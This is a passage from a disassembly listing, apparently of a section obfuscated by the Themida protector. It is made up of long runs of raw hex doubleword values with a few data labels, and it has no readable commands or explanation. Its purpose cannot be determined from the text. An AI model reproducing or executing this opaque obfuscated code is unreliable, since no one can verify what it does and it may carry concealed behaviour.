2ACD9D8Bh, 820F0610h, 4, 0B452BB66h dd 0FFF3B9E9h, 50006AFFh, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 5B4097E8h, 6623FFD9h dd 0C18BD88Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 28C35545h, 858D7839h, 61013B9h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Ch, 92C35141h, 99ACE36Ah dd 42521991h, 50DEB70Fh, 0E9240489h, 6, 0BA78CACCh, 0BF665FB2h dd 6ABFEBh, 20658589h, 6A0610h, 0FD5BBB66h, 858DDE8Bh dd 6148FC0h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 35C35545h, 0E8D59C3Dh, 0B52B6078h, 61011BDh, 61FB8B66h dd 2418589h, 0C0830610h, 0D7816605h, 0E9502FFAh, 6, 27F86B07h dd 489863Dh, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 67B5A9B2h, 8B6E4679h, 1001119Dh dd 0F006A06h, 6AD9B7h, 0FFD88B66h, 101D1995h, 15850106h dd 8D061028h, 13AFD88Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1C04h, 0C3514100h, 0A48A4109h, 0CC6CE185h dd 0FD1FF87h, 0BD83DAB7h, 6102209h, 0A4850F01h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 6714C351h, 419D8B3Eh, 6606102Ah, 6AEF57BFh dd 0D9B70F02h, 2890F90h, 8A000000h, 8B6650FEh, 6A90DEh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 0D6AC4AC3h, 480425ECh, 0FE889D2h, 4B000000h, 0A8904721h dd 4201F8F5h, 3F200780h, 0FA8AD13Ah, 9595FF5Bh, 6A061004h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 0C00BC353h, 0A7090291h, 298D8965h db 12h, 10h, 6 byte_59442B db 0E9h ; DATA XREF: Themida_:0054B6ACo dd 0E1Ah, 0E8h, 0ED815D00h, 6148FCAh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 14h, 0D2C35747h, 30ADBD8Bh, 52BF0610h dd 8D2EE614h, 1399B685h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1B04h, 0C3574700h, 0E9707A37h, 9E01FCFCh dd 10E950h, 6B3E0000h, 0DF894861h, 0F6C2992Fh, 0CCDD5F65h dd 4892286h, 4880F24h, 66000000h, 649298BBh, 35FFh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 65DE6BC3h, 0A50910F7h, 0B9666041h, 61F86611h, 258964F5h dd 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0E7C35141h dd 0AF7510D3h, 0FFFAB70Fh, 10141985h, 0D6F2BF06h, 0FF6A421Fh dd 6E9h, 8EA21200h, 0FFDDA5DDh, 10232DB5h, 5800F06h, 0BB000000h dd 5EFF1759h, 1E1BD2Bh, 95FF0610h, 6100615h, 115E9h, 0E900B000h dd 0Dh, 0C2226798h, 67911F71h, 8C3A7055h, 2970E6F2h, 10169985h dd 8971E406h, 1029798Dh, 0F613C06h, 0E983h, 20CB8000h dd 89C8B60Fh, 101AD19Dh, 6BA06h, 0BD8B0000h, 6100735h dd 0C18B97B3h, 0C141CB80h, 890F04E8h, 3, 66DBB70Fh, 0C82BE2F7h dd 72EF8166h, 0FD18B40h, 68Dh, 0DD8D8900h, 0E906102Eh dd 6, 5BD31h, 858B0610h, 6100989h, 0FE8h, 53C9200h, 1873E2D8h dd 0F798EC6h, 36D1450Fh, 18B59529h, 895F0610h, 101CDDBDh dd 7C08306h, 0AAC0BF66h, 6600C083h, 7818F781h, 830FD03Bh dd 1Dh, 0FD952960h, 0E9061022h, 5, 0BE851BD3h, 47E9616Ch dd 89000000h, 102061BDh, 758D8B06h, 0E9061028h, 8, 1864DB6h dd 2105F7C0h, 0F01E183h, 2584h, 758D0900h, 83061031h, 102875A5h dd 0BD8BFE06h, 6100949h, 9899589h, 8D0F0610h, 1, 0E9F9h dd 0B58D0000h, 61413DDh, 0B55BD8Bh, 6A0610h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 78C35141h, 7E4054B6h dd 0B5389C0Ah, 0FFD88B66h, 1031C995h, 45958906h, 0B9061008h dd 798h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 21C35747h, 7019CF8Dh, 83F5C23Eh, 6AFCE1h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 0CD72A1C3h, 3250C9BBh, 0BE8B57Fh, 52000000h, 5D5C7659h dd 0F4FE446Ah, 0FC5F3F8Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 17h, 62C35545h, 29BDC5A9h, 102FE19Dh, 6AC02B06h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 76E5C357h, 1128FE10h, 55B52988h, 2B061006h dd 0CC4ABFD2h, 33AD3D8Ch, 3E8D1C2h, 4E983D0h, 6AF475h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 816D2FC3h, 7FE25FC3h, 56006A02h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1404h, 0C3564600h, 0DDF8B38h, 88h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 85C35343h, 18860Fh dd 13E90000h, 70000000h, 26100E9Dh, 0A720DFB4h, 65871D82h dd 0DCAAFD16h, 0BB66C863h, 958B9317h, 61009F5h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0A0C35646h, 2B5C64ACh dd 0B589B996h, 6101619h, 0BBE78151h, 5F29D899h, 23198D8Bh dd 0C7810610h, 577CECC6h, 8BC28B50h, 8BC10318h, 0D1C18B18h dd 8BC203E8h, 95895818h, 61004FDh, 9E8h, 0AEC4A000h, 0D869961Bh dd 895F2536h, 1010C19Dh, 29BD8306h, 6101Eh, 84840Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 7B2818C3h, 2198B23Dh, 0B3DF3856h, 0B822h, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 0DBCAC1C3h, 167B6B88h, 8D8DFE8Bh, 6104E85h, 0B973BB66h dd 29A19D29h, 0E1FF0610h, 10E8h, 0E807F800h, 0AD642B7Ah dd 45685121h, 95A41A84h, 0CD9D3387h, 5B06100Eh, 0D9589h dd 0BD830610h, 61022C1h, 28840F00h, 29000004h, 102D5185h dd 0C1BD8306h, 1061022h, 430840Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 30E85DC3h dd 0E9FBBF0Fh, 12h, 0BFD479C5h, 7CA0AC1Ch, 9B372C1Ah, 96711B1Fh dd 0BD833A77h, 61022C1h, 0B5860F03h, 0E9000003h, 8, 948BA73Fh dd 0C029F67Eh, 57006A60h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1804h, 0C3574700h, 78C801BEh, 66A4B3A8h dd 6AD98Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 9D8B06C3h, 6102771h, 1D31BD0Bh, 0E1800610h dd 9E904h, 0A6E40000h, 0A800A606h, 0AC62D85h, 0CA840FC9h dd 0F000000h, 858BF9B7h, 6102185h, 0EB5BD0Bh, 85330610h dd 61011FDh, 0C319D89h, 8B500610h, 240489D9h, 0A000BB66h dd 6ADAB70Fh, 7D8D3100h, 68061023h, 56AC3FECh, 4880Fh dd 0BB660000h, 3481BD9Fh, 0B33C1324h, 0D595FF56h, 6A061005h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 225EC357h, 6AC66C53h, 0F6446DFh, 687h, 0DB50900h dd 8906100Fh, 13C26D85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 94290271h, 0B4330D74h dd 0E9F8B98Ah, 211h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 0BFC35141h, 65858B27h, 6A0613C2h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 0C877C356h, 71C17F1Eh, 14E95Ch, 22940000h, 40E66161h dd 3C2B12D0h, 0B8462BECh, 571AA9E1h, 0C7B4DDh, 18h, 0C269B58Bh dd 8BF80613h, 100E2585h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 2BD91F29h, 0FE9ADFDh dd 25000000h, 0A415E232h, 7C867Eh, 15AC5FAEh, 689A6CEh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0ACC35747h dd 858BFB46h, 6102185h, 21DD8529h, 46890610h, 52006A04h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 6051D879h, 0EB5B533h, 0B58B0610h, 6102ED9h, 89505F61h dd 0BD8B2434h, 6101C0Dh, 0C265B5FFh, 6A0613h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 522412C3h dd 60528ABFh, 7319D89h, 8A0F0610h, 6, 2D699D8Bh, 0BB610610h dd 34896301h, 4E8h, 1F03FF00h, 5059B700h, 8830Fh, 850F0000h dd 2, 448B5F57h, 1BB0424h, 8B54A325h, 89D88B00h, 58042444h dd 6D858DF9h, 6A0613C2h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 0E13AC357h, 0FB20231Bh dd 29052FBBh, 348DB589h, 0F500610h, 505FDFBFh, 0DE9h, 0AC8D2C00h dd 19EAC323h, 0B3062DC5h, 48965D5h, 52006A24h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 969CE869h dd 89284FB4h, 100B9D9Dh, 0D595FF06h, 6A061005h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h dd 0D78EC351h, 6A613Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 923EC0C3h, 0AA913888h, 2D819D23h dd 8B660610h, 519D31DFh, 0C7061000h, 1022C185h, 306h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 0B45F0641h, 9D8B1406h, 6100E8Dh, 0C26DBD83h, 0F000613h dd 1384h dd 3830F00h, 66000000h, 20E9DA8Bh, 66000000h, 0B780F781h dd 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 0AAB0C351h, 0B4ED21F1h, 0F18D891Ch, 66061018h dd 6A7F73BBh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 14042444h, 45000000h, 0F513C355h, 898D0360h, 66061015h dd 8CD7D081h, 0C1BD8361h, 3061022h, 42F850Fh, 81660000h dd 83D81AEFh, 13C26DBDh, 840F0006h, 41Dh, 0B5FFD98Bh, 613C26Dh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0B2C35747h dd 2FA595FFh, 6A0610h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 0B59AFEC3h, 0BD8BD08Ah, 6102829h dd 0C261B58Bh, 6A0613h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 0BE86EC3h, 0AD000000h, 79B583CBh dd 0B4E20B64h, 8951413Bh, 101D11B5h, 0C75F5F06h, 1000106h dd 4ABB6600h, 45BD89FEh, 96061006h, 2820Fh, 5B520000h dd 965B5750h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 0E0C35040h, 0AE8h, 0D4F0ED00h, 0BBD0DFA4h, 0E99F04E2h dd 14h, 8E64B6C8h, 5F335E2Fh, 0E1E94FDBh, 0F43F9A28h, 4E20F059h dd 6DB5FF5Bh, 6A0613C2h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 7C5C357h, 78920EAFh dd 0BD2B05B2h, 6101339h, 0D6B70F60h, 944318B9h, 95FF615Bh dd 6101225h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 0B5C35040h, 0BD8BFAAEh, 6101929h, 0C261B58Bh, 8D010613h dd 6103061h, 0BE9h, 0D1122600h, 0A1DCF065h, 1121EDBCh dd 21D1858Bh, 95290610h, 61006F5h, 0C48689h db 2 dup(0) word_594F42 dw 0F560h ; DATA XREF: ___:off_438C78o dd 0F5958B61h, 6A061009h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 7D20C350h, 377BAA32h dd 41B011A0h, 8B04C283h, 1011F9BDh, 12E906h, 0BB440000h dd 628C4AE6h, 30227D90h, 2159806h, 0C4D1E365h, 6A205089h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 272FC352h, 3DE09B0Ah, 8D98DB80h, 13D7C285h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h dd 0C3574700h, 0BCE1355Dh, 422C9ADh, 1BB59D8Bh, 64BB0610h dd 892837AAh, 0B886h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1704h, 0C3514100h, 0E2878490h, 13C58D89h dd 6ABB0610h, 6A34B7BCh, 0FFD98B00h, 13C26DB5h, 0C18D8906h dd 0FF06100Bh, 10049595h, 79BD2906h, 66061007h, 4043E381h dd 0D98B6650h, 6A243489h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 5E6EC352h, 6DB5FF3Ch dd 800613C2h, 6E841F7h, 8B000000h, 0B2B66E9Eh, 0D88B6683h dd 2D95FF5Fh, 8B061016h, 51BD83F8h, 61013h, 3C840Fh, 0BF0F0000h dd 89BB66D8h, 0BE850F7h, 71000000h, 4626B26Bh, 464C47CDh dd 895BCE1Bh, 6A2434h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 0C6C4F8C3h, 0B5FF9BF2h, 613C26Dh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0F6C35141h dd 0F58EC112h, 95FFDA8Bh, 6100C19h, 20B9BD8Bh, 0DE8B0610h dd 0C26DB5FFh, 6A0613h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 16CDAFC3h, 9E375955h, 0EE8h, 0C6E15F00h dd 10E36EB5h, 14F28965h, 51DECCF5h, 0F0F38166h, 0FF5B5BF9h dd 10162195h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 0AC6B7BCEh, 3A4EAE01h, 0DD9D8BFAh dd 83061009h, 100F89BDh, 840F0206h, 51h, 18B9BD8Bh, 858B0610h dd 61010C5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ah, 87C35040h, 0CDBCEF0h, 95893913h, 6100F09h, 0F80000C6h dd 0DE8h, 0C247B300h, 41841A64h, 0BA479BFFh, 0E78191C7h dd 1E696DFBh, 2585C75Fh, 6102Ah, 9000000h, 1009018Dh, 0F330E906h dd 6AFFFFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 0E2E6E3C3h, 890F5681h, 0Ch, 6840Fh, 95890000h dd 61012B1h, 6AC18Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 0A41DE1C3h, 6051D2C6h, 0F74C180h dd 8Ah, 665F6100h, 858DDA8Bh, 61013B9h, 8E9h, 0AB09FE00h dd 0A71414D3h, 5E850C6h, 74000000h, 787C9E69h, 5FDE8B66h dd 0E9240489h, 0Eh, 0ACDBAE84h, 298CD51h, 0AD27E80Ah, 6A7CD2h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0F1C35040h dd 47D629C4h, 6A006A0Fh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 0F637C350h, 8DF9C040h dd 149FA085h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 8488EEBAh, 89173E3Fh, 101FADBDh dd 0CBD38106h, 8365F715h, 6A05C0h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 190424h, 52420000h, 7A2154C3h, 294E4E3Ah dd 10348D9Dh, 8D0F5006h, 5, 78A6B0BBh, 24048971h, 6A006Ah dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 2AFB81C3h, 0A3A67B5Bh, 6AF533h, 1D1995FFh, 6A0610h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 61D750C3h, 9D8BB4FCh, 6100B09h, 0AFD88D8Dh, 0F88B0613h dd 0F270F781h, 0D1FF4E32h, 31C58D31h, 9D030610h, 6101CADh dd 2209BD83h, 0F010610h, 5A85h, 2F6BF00h, 26A0385h, 0AE9h dd 0BFD9100h, 161B2E85h, 6601FE1Bh, 1B09F781h, 0FE950h dd 54670000h, 4E331F03h, 0F45940A5h, 4E3F5443h, 240489F9h dd 9595FFF8h, 6A061004h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 0FE8FC353h, 0E9D5F780h dd 0DBEh, 0E8h, 0ED815D00h, 6149FAAh, 14359D33h, 81660610h dd 81C720D7h, 933610D3h, 3850F20h, 0F000000h, 858DFFB7h dd 61399B6h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 14h, 0ADC35545h, 30A19D8Bh, 8F0F0610h, 0Bh, 45C38160h dd 8002A126h, 50618FC1h, 6A240489h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 9CACC357h dd 8E83Ah, 58230000h, 0BDF567F1h, 0EE8C9EEh, 0CF000000h dd 3D95FA85h, 4BB669BCh, 79E2AEADh, 0B6BF662Bh, 645B5BB4h dd 35FFh, 800F0000h, 2, 8964DE8Ah, 25h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 1BB06BDFh, 9D8B2680h, 6102FD1h, 1985FFF8h, 6A061014h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 0FCECC357h, 0FF6AF88Bh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 14h, 55C35747h, 0CDB5FFh, 6A0610h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 0B537F6C3h, 9D893325h, 61012F9h, 0FFD88B66h, 10061595h dd 0FFE906h, 0C9B30000h, 10E800B0h, 56000000h, 0B731C262h dd 8A4EBED7h, 73C8321Bh, 0F6F5B7Eh, 8B5FFEB7h, 0F970E6DAh dd 9DBB71E4h, 0F3C4B3Bh, 0C81h, 7E900h, 481F0000h, 0D7B183E7h dd 0F613CC8h, 0BC83h, 68F0F00h, 89000000h, 100B5585h, 0C8B60F06h dd 6BAh, 66C18B00h, 0E8C1F88Bh, 3810F04h, 66000000h, 0F766FE8Bh dd 198D29E2h, 2B061006h, 558509C8h, 8B061006h, 6E9D1h dd 0BD890000h, 6100169h, 2D49858Bh, 5E80610h, 85000000h dd 28BB5A5h, 1FC19531h, 335F0610h, 10063D9Dh, 7C08306h dd 1FD9D8Bh, 0C0830610h, 0F7CB8100h, 3B6F7492h, 12830FD0h dd 0F8000000h, 20159D8Bh, 36E90610h, 29000000h, 1029A9BDh dd 0A58D8B06h, 6606100Bh, 0E183F98Bh, 1E840F01h, 23000000h dd 1005859Dh, 0A5A58306h, 0FE06100Bh, 89F9B70Fh, 102D4995h dd 0A0EB8006h, 0E9h, 86B58D00h, 0F06141Dh, 688h, 0A98D8900h dd 6A061014h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1404h, 0C3504000h, 1ED78047h, 31C995FFh, 9D8B0610h dd 610010Dh, 8B2B9h, 83D88A00h, 6AFCE1h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0C3479AC3h dd 5B2D98AEh, 0B818589h, 0FFC0610h, 58Ch, 63FFBB00h, 0C02B6877h dd 14E9h, 0DFA21D00h, 63D7420Eh, 0EA206C95h, 51A88CF8h dd 0B0EB8191h, 0BA9Bh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 2B5F03C3h, 1F5D1B0Bh dd 8B0F92EDh, 2Ah, 0BE8h, 3A045F00h, 0AA9F0D28h dd 80AE1BE6h, 14E9h, 81270C00h, 9791EFA1h, 0CF306183h dd 13F429A2h, 0ECFEEC41h, 33AD5B8Dh, 3E8D1C2h, 4E983D0h dd 6AF475h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 1A0208C3h, 0D8B70FF2h, 880Dh, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 0D7815023h, 3D50B534h, 0F5958B5Fh, 66061009h, 8D8BF88Bh dd 6102319h, 0C28B50F5h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h dd 6658188Bh, 3E55CB81h, 6ADFB70Fh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0C059C356h dd 0A58589DFh, 8B061031h, 102265BDh, 29BD8306h, 6101Eh dd 8E840Fh, 810F0000h, 3, 0B8FEBF0Fh, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 57C35242h dd 9BD8974h, 8B061005h, 100955BDh, 858D8D06h, 0BF06104Eh dd 501D8755h, 8E9h, 0CD2A3D00h, 8329CB63h, 6AE1FF53h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 8D43C351h, 2146C2C9h, 10E9F0B4h, 0A5000000h, 2CD23DDBh dd 4A1CDDAFh, 3C18D99Ah, 0BF8930CBh, 66ECFA9Ah, 22C1BD83h dd 0F000610h, 45284h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 17005B99h, 30F0C91Bh dd 11E924h, 0E80F0000h, 488595B2h, 0A0AA89CDh, 9F7AF4CAh dd 832A5271h, 1022C1BDh, 840F0106h, 426h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 18h, 14C35646h, 3AB217D1h dd 5830Fh, 81660000h, 83A00DCFh, 1022C1BDh, 860F0306h dd 3B8h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 15h, 64C35646h, 0D6F380CDh, 51006A60h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 0E579947Ch dd 0EF083899h, 0D98C667Eh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 17h, 82C35242h, 0BB21DA25h, 269AA6F0h, 6A04E180h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 0F96C355h, 0C90AD8BFh, 137840Fh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 860F45C3h, 3, 8B3BEB80h, 10218585h, 0FEBF0F06h, 11FD8533h dd 6A0610h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h dd 56460000h, 0BAE66BC3h, 893F3210h, 10105DBDh, 0F98B5006h dd 6A240489h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 0C353C351h, 0DEDAA05Ah, 6ADC86h dd 0BE9h, 0C0CD8900h, 0B28E71C3h, 9E2E9ECBh, 4E8h, 1F03FF00h dd 0FEBB5000h, 8B1B733Eh, 0BF042444h, 37C160D6h, 0BF66008Bh dd 448976FCh, 5B520424h, 8B0F58h, 0FF000000h, 1005D595h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h dd 0C3574700h, 893F8CFDh, 13C26D85h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 0E3D1C8A0h dd 15DD7E1Dh, 51858935h, 0E9061005h, 1B3h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 57C35545h, 65858BF8h dd 6A0613C2h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 16042444h, 47000000h, 48B5C357h, 1800C79Dh, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 69FCC351h, 519D8BF6h, 8B061023h, 13C269B5h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 0A98D2955h, 8B061009h, 100E2585h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 6892433h, 31319D29h, 858B0610h, 6102185h, 4689FA8Bh dd 55BD8B04h, 96061002h, 79DB05BFh, 196500Ah, 101101B5h dd 65B5FF06h, 680613C2h, 0ED10937Eh, 81240481h, 6A130E70h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 4595C357h, 34CDB5EFh, 33B809EDh, 100FE59Dh dd 6D858D06h, 6A0613C2h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 17042444h, 46000000h, 7306C356h, 0AE82EFCh dd 48000000h, 66AB969Dh, 8ECFCC34h, 2DBD2B20h, 5B061000h dd 6650F88Bh, 489FE8Bh, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1A04h, 0C3524200h, 31C4B9ADh, 0F111661h dd 684h, 99BD0300h, 0BF06102Eh, 46A0295Bh, 5D595FFh, 11E80610h dd 0D4000000h, 1B15A370h, 3C7276F7h, 94657D65h, 0F922BCE0h dd 239BD89h, 615F0610h, 5DD9531h, 85C70610h, 61022C1h dd 3, 1135BD8Bh, 0BD830610h, 613C26Dh, 31840F00h, 51000000h dd 94DBD8Bh, 0E95B0610h, 3Fh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 0DDC35343h, 8354E783h, 0F9096CCCh dd 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 0B7C08B00h dd 50006A70h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h dd 0C3504000h, 7F248539h, 503BC5B7h, 149EBB66h, 22C1BD83h dd 0F030610h, 40185h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 29566057h, 4B932860h dd 0FDD78166h, 6DBD83EAh, 613C2h, 3CC840Fh, 9E90000h, 7E000000h dd 0C5F2C016h, 0B5E29208h, 0C26DB5FFh, 8D290613h, 61013CDh dd 2A3D8D09h, 95FF0610h, 6102FA5h, 0C261B58Bh, 6A0613h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 2FF96FC3h, 8C2618D3h, 12E895BEh, 6F000000h, 0D189226Ch dd 0A1F224B2h, 5CBCBA7Ah, 854FA703h, 5DBD8B7Ah, 5F06101Eh dd 106C7h, 6A0001h, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 51B75BC3h, 85897B26h, 6100FB5h dd 52505750h, 0BB66310Fh, 585A9591h, 2434895Fh, 0BE9h dd 49742000h, 7151086Ah, 8FDDC84Ch, 0C26DB5FFh, 8B660613h dd 2595FFD9h, 6A061012h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 6415C351h, 4A7B3FE7h dd 0B387878Fh, 61B58B1Fh, 6A0613C2h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 13BDC355h dd 6B39CD78h, 2B67A3BAh, 102AAD9Dh, 0D1858B06h, 89061021h dd 1021599Dh, 81666006h, 0E8AB6ACAh, 0Eh, 0BC6117D6h, 612F972Dh dd 0E392DB24h, 850F2414h, 0 aYaij db 'Ya‰†Ä',0 align 4 dd 21C5B529h, 958B0610h, 61009F5h, 0C283F98Bh, 0FD9D8B04h dd 8906100Bh, 0AE92050h, 36000000h, 2A589678h, 0A2100A1Ah dd 0C2858D94h, 890613D7h, 1009F985h, 0B59D0906h, 8906100Dh dd 0B886h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1804h, 0C3554500h, 4A2F3AE5h, 10E90Bh, 9DFD0000h, 0B39B1B39h dd 27962158h, 0CBEFBBBBh, 8B66F7C5h, 89006AD8h, 1015A9BDh dd 6DB5FF06h, 6A0613C2h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 0B266C357h, 78DF7C53h dd 8B66F2F9h, 9595FFD9h, 6A061004h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 281AC356h dd 6743B5EDh, 0E8865B67h, 